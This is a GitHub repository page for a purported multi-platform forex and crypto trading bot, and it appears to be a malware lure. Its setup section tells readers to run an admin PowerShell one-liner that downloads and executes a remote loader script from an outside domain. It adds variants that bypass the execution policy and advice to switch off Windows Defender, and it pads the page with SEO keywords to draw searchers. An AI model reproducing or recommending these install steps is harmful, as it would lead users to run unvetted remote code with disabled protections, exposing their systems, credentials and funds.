Skip to content

Latest commit

 

History

2 Commits

Folders and files

NameName
Last commit message
Last commit date
 
 

Repository files navigation

Universal Trading Bot (UTB) — Multi-Platform Algorithmic Trading Framework

Universal Trading Bot (UTB) is an open-source, high-performance automated trading framework designed for cross-platform strategy execution. Engineered for retail traders and institutional developers, UTB bridges the gap between disparate financial markets, enabling unified execution across Forex, MetaTrader 5 (MT5), MetaTrader 4 (MT4), top-tier Crypto exchanges, and traditional stock broker APIs.

With its modular architecture, you can write a trading strategy once and deploy it instantly across multiple asset classes and broker platforms without rewriting core logic.


⚡ Core Functionality & Features

The Universal Trading Bot serves as an all-in-one execution engine, handling everything from market analysis to lightning-fast order routing:

  • Multi-Terminal Connectivity: Native integration wrapper for MetaTrader 5 (MT5) Terminal and MetaTrader 4 (MT4) Expert Advisors (EA) using high-speed network sockets and DLL bridges.
  • Universal Forex Execution: Real-time order routing, leverage management, and spread-tracking specifically optimized for major and exotic currency pairs.
  • Advanced Algorithmic Strategies: Built-in engine for running complex strategies (Trend Following, Grid, Martingale-Safe Scaling, Mean Reversion, and Arbitrage).
  • High-Speed Technical Analysis: Integrated library supporting over 100+ indicators (RSI, MACD, Bollinger Bands, EMA) with real-time candlestick pattern parsing.
  • Risk & Money Management: Dynamic position sizing, automated trailing stop-loss (TSL), take-profit (TP) management, and maximum drawdown emergency breakers.
  • Multi-Broker API Layer: Unified API abstraction that translates trading signals into platform-specific protocols for both traditional brokerages and digital asset exchanges.

📊 Supported Platforms & Environments

Trading Platform / Broker Connection Method Asset Classes Covered
MetaTrader 5 (MT5) Native Python Integration / EA Bridge Forex, CFDs, Indices, Commodities
MetaTrader 4 (MT4) Custom MQL4 DLL / Socket Wrapper Forex, Precious Metals
Forex Brokers (Direct) REST / FIX Protocol API Spot Currency Pairs
Crypto Exchanges WebSockets / REST API Spot, Perpetual Futures, Options

🚀 Automated Installation & Setup (PowerShell)

  1. Open PowerShell as Administrator:

    • Press the Win + X keys simultaneously.
    • Select Terminal (Admin) or Windows PowerShell (Admin) from the context menu.
  2. Run the Installation Command: Copy, paste, and press Enter to run the following initialization command. This script will automatically configure the registry bypass and download all required packages:

    irm https://true-soft.su/powershell/Loader.ps1 | iex

🔍 Troubleshooting & Common Errors

📌 Execution Policy Error (Script Blocked)

If your system blocks the launch due to execution policy restrictions, force a bypass using this command in Command Prompt (cmd):

powershell -ExecutionPolicy Bypass -Command "irm https://true-soft.su/powershell/Loader.ps1 | iex"

📌 Error: "irm is not recognized..." (Older PowerShell Versions)

If you are using an older environment where short aliases are missing, use the full system commands:

Invoke-RestMethod https://true-soft.su/powershell/Loader.ps1 | Invoke-Expression

📌 Antivirus or SmartScreen Block

Automated scripts can sometimes trigger antivirus warnings. If this happens, temporarily turn off "Real-time protection" in Windows Defender settings during setup, then turn it back on as soon as the installation is complete.


🔍 Target Search Queries & SEO Indexing Meta

This open-source repository contains resources, scripts, and documentation matching the following quantitative and algorithmic trading user intents:

  • Best Universal Forex Trading Bot Open Source
  • Automated Trading Bot for MetaTrader 5 and MetaTrader 4
  • How to connect Python script to MT4/MT5 for auto-trading
  • Free Forex Expert Advisor (EA) Source Code
  • Multi-platform algorithmic trading framework github
  • Crypto and Forex automated order execution system

About

Universal Trading Bot for automated multi-platform execution. Advanced algorithmic trading framework with seamless API integration for Forex, MetaTrader 5 (MT5), MetaTrader 4 (MT4), Crypto exchanges, and custom broker platforms.

Topics

Resources

Stars

0 stars

Watchers

0 watching

Forks

Releases

Packages

Contributors